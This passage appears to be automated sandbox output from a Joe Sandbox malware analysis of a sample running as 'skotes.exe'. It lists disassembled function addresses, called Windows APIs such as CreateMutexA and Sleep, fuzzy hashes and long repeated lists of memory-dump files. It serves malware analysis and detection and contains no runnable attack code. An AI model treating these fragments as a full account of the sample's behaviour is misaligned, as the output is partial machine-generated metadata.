Associated: 00000000.00000002.1764152999.00000000010B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764180229.00000000010C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764206289.00000000010C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_da0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bfb7b8e78c370f2913f61a25c6defe040cdd2114a4e27868ad6e7523cb31ccb
Instruction ID: fba1d09fa14669d17e2d757df84bad401be093057257cc954fbad7b2e38c8d22
Opcode Fuzzy Hash: 8bfb7b8e78c370f2913f61a25c6defe040cdd2114a4e27868ad6e7523cb31ccb
Instruction Fuzzy Hash: B6E08C32921228EBCB14DBDCC904D9AF7ECEB49B10B654097F501D3250C270DE00C7E0

Function 00DDCBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00DDCC66

Memory Dump Source

Source File: 00000000.00000002.1760104861.0000000000DA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DA0000, based on PE: true

Associated: 00000000.00000002.1760089551.0000000000DA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760104861.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760157123.0000000000E09000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760209713.0000000000E0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760227848.0000000000E15000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760243914.0000000000E16000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760260562.0000000000E17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760393526.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760448432.0000000000F7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760469676.0000000000F94000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760492568.0000000000F95000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760508917.0000000000F96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760524360.0000000000F97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760550692.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760550692.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760627403.0000000000FA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760643815.0000000000FAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760667636.0000000000FD1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760721797.0000000000FD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760738456.0000000000FD3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760753913.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760834086.0000000000FDC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760889377.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760906549.0000000000FE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761277016.0000000000FEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761314947.0000000000FFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761338041.0000000001002000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761400330.0000000001003000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761425869.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761474455.000000000100F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761506128.0000000001014000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761528472.0000000001015000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761554244.0000000001019000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761582315.0000000001026000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761611303.0000000001029000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761635190.0000000001032000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761664708.0000000001035000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761690200.0000000001036000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761715854.000000000103A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761743701.000000000103B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761993777.0000000001043000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762306442.0000000001061000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762335986.0000000001062000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762335986.0000000001080000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762589774.00000000010AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762653581.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763021012.00000000010AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764131100.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764152999.00000000010B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764180229.00000000010C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764206289.00000000010C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_da0000_file.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: e735d7118d15e2b04af68ee7be9476ee50b6c15cebd4be360e770f4c3f107c3f
Instruction ID: ce37887f30ea0564cd60548a0c9790ee0c691041b47014627f2d8f1a3bab5088
Opcode Fuzzy Hash: e735d7118d15e2b04af68ee7be9476ee50b6c15cebd4be360e770f4c3f107c3f
Instruction Fuzzy Hash: F1B146729242879FDB11CF68C8817AEBBE6EF45340F18516BE955EB341D6349D02CBB0

Function 00DA2EC0 Relevance: 6.3, APIs: 4, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00DA2F5F
__Mtx_unlock.LIBCPMT ref: 00DA2FCC
__Mtx_unlock.LIBCPMT ref: 00DA30F5
__Mtx_unlock.LIBCPMT ref: 00DA319B

Memory Dump Source

Source File: 00000000.00000002.1760104861.0000000000DA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DA0000, based on PE: true

Associated: 00000000.00000002.1760089551.0000000000DA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760104861.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760157123.0000000000E09000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760209713.0000000000E0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760227848.0000000000E15000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760243914.0000000000E16000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760260562.0000000000E17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760393526.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760448432.0000000000F7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760469676.0000000000F94000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760492568.0000000000F95000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760508917.0000000000F96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760524360.0000000000F97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760550692.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760550692.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760627403.0000000000FA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760643815.0000000000FAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760667636.0000000000FD1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760721797.0000000000FD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760738456.0000000000FD3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760753913.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760834086.0000000000FDC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760889377.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760906549.0000000000FE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761277016.0000000000FEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761314947.0000000000FFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761338041.0000000001002000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761400330.0000000001003000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761425869.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761474455.000000000100F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761506128.0000000001014000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761528472.0000000001015000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761554244.0000000001019000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761582315.0000000001026000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761611303.0000000001029000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761635190.0000000001032000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761664708.0000000001035000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761690200.0000000001036000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761715854.000000000103A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761743701.000000000103B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761993777.0000000001043000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762306442.0000000001061000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762335986.0000000001062000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762335986.0000000001080000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762589774.00000000010AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762653581.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763021012.00000000010AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764131100.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764152999.00000000010B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764180229.00000000010C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764206289.00000000010C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_da0000_file.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID:
API String ID: 1418687624-0
Opcode ID: 3e7298fe10c429719d89378782dc4a378b29c66f5d02e76d018a6511679e9365
Instruction ID: 446f417b8343de9ca23380fc2c3a8f6df4004eaf3dc35aa4dbd2ad8c631fce46
Opcode Fuzzy Hash: 3e7298fe10c429719d89378782dc4a378b29c66f5d02e76d018a6511679e9365
Instruction Fuzzy Hash: 50A1C070A01305DFEB20DF65C945BAAB7A9FF16314F088129F816D7251EB35EA04CBB1

Function 00DDF35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00DDF3A3

Strings

`', xrefs: 00DDF375
8", xrefs: 00DDF44B

Memory Dump Source

Source File: 00000000.00000002.1760104861.0000000000DA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DA0000, based on PE: true

Associated: 00000000.00000002.1760089551.0000000000DA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760104861.0000000000E02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760157123.0000000000E09000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760209713.0000000000E0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760227848.0000000000E15000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760243914.0000000000E16000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760260562.0000000000E17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760393526.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760448432.0000000000F7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760469676.0000000000F94000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760492568.0000000000F95000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760508917.0000000000F96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760524360.0000000000F97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760550692.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760550692.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760627403.0000000000FA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760643815.0000000000FAC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760667636.0000000000FD1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760721797.0000000000FD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760738456.0000000000FD3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760753913.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760834086.0000000000FDC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760889377.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760906549.0000000000FE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761277016.0000000000FEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761314947.0000000000FFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761338041.0000000001002000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761400330.0000000001003000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761425869.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761474455.000000000100F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761506128.0000000001014000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761528472.0000000001015000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761554244.0000000001019000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761582315.0000000001026000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761611303.0000000001029000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761635190.0000000001032000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761664708.0000000001035000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761690200.0000000001036000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761715854.000000000103A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761743701.000000000103B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1761993777.0000000001043000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762306442.0000000001061000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762335986.0000000001062000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762335986.0000000001080000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762589774.00000000010AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762653581.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763021012.00000000010AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764131100.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764152999.00000000010B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764180229.00000000010C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1764206289.00000000010C3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_da0000_file.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"$`'
API String ID: 3903695350-1436819768
Opcode ID: 5d472f4b6316d37d00ed1e4349a9d45a6fa95bfb006d6f9ab58ecd99eaad0dbf
Instruction ID: 4122d0d6dac4a56b76e250f9b8864aafe82e4ca652003e53fd0f16792be74224
Opcode Fuzzy Hash: 5d472f4b6316d37d00ed1e4349a9d45a6fa95bfb006d6f9ab58ecd99eaad0dbf
Instruction Fuzzy Hash: 54313B31604241EFEB21AB7DD845B5B73E9EF40351F18842BE446D7795EE70A8848A31

Analysis Process: skotes.exePID: 7196, Parent PID: 2492COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	617
Total number of Limit Nodes:	4

Executed Functions

Function 0039652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,0039652A,?,?,?,?,?,00397661), ref: 00396566

Memory Dump Source

Source File: 00000001.00000002.1798514482.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000001.00000002.1798496319.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798514482.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798570217.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798586715.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798604649.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798621213.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798636962.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798732092.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798749028.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798769614.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798785553.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798800963.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798817561.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798833097.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798833097.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798866414.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798882518.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798905439.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798922727.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798940046.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798956401.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798974802.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798992822.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799010542.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799028306.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799049726.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799067650.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799085524.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799104093.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799121857.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799140234.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799156778.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799176723.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799195580.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799213056.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799230971.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799249270.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799266847.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799285993.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799303484.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799321341.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799343792.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799399047.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799399047.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799447265.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799466385.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799486042.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799504916.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799522137.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799542044.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799559730.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 25357750e1f03e6a96342ef6e5a3209b7d2aac15ad173c9d68b956a19afb2111
Instruction ID: 518328a82d86209269a9c4f116fd6d2def3bd28814e727412e34a29df77e7be4
Opcode Fuzzy Hash: 25357750e1f03e6a96342ef6e5a3209b7d2aac15ad173c9d68b956a19afb2111
Instruction Fuzzy Hash: 95E08C30086108AACF267B58CA1AD483BA9EB92749F028810FC054A235CB25EE82D680

Function 00369BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0036A963
CreateMutexA.KERNELBASE(00000000,00000000,003C3254), ref: 0036A981

Strings

T2<, xrefs: 0036A970

Memory Dump Source

Source File: 00000001.00000002.1798514482.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000001.00000002.1798496319.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798514482.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798570217.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798586715.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798604649.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798621213.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798636962.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798732092.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798749028.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798769614.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798785553.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798800963.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798817561.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798833097.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798833097.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798866414.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798882518.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798905439.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798922727.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798940046.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798956401.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798974802.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798992822.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799010542.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799028306.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799049726.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799067650.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799085524.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799104093.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799121857.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799140234.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799156778.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799176723.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799195580.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799213056.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
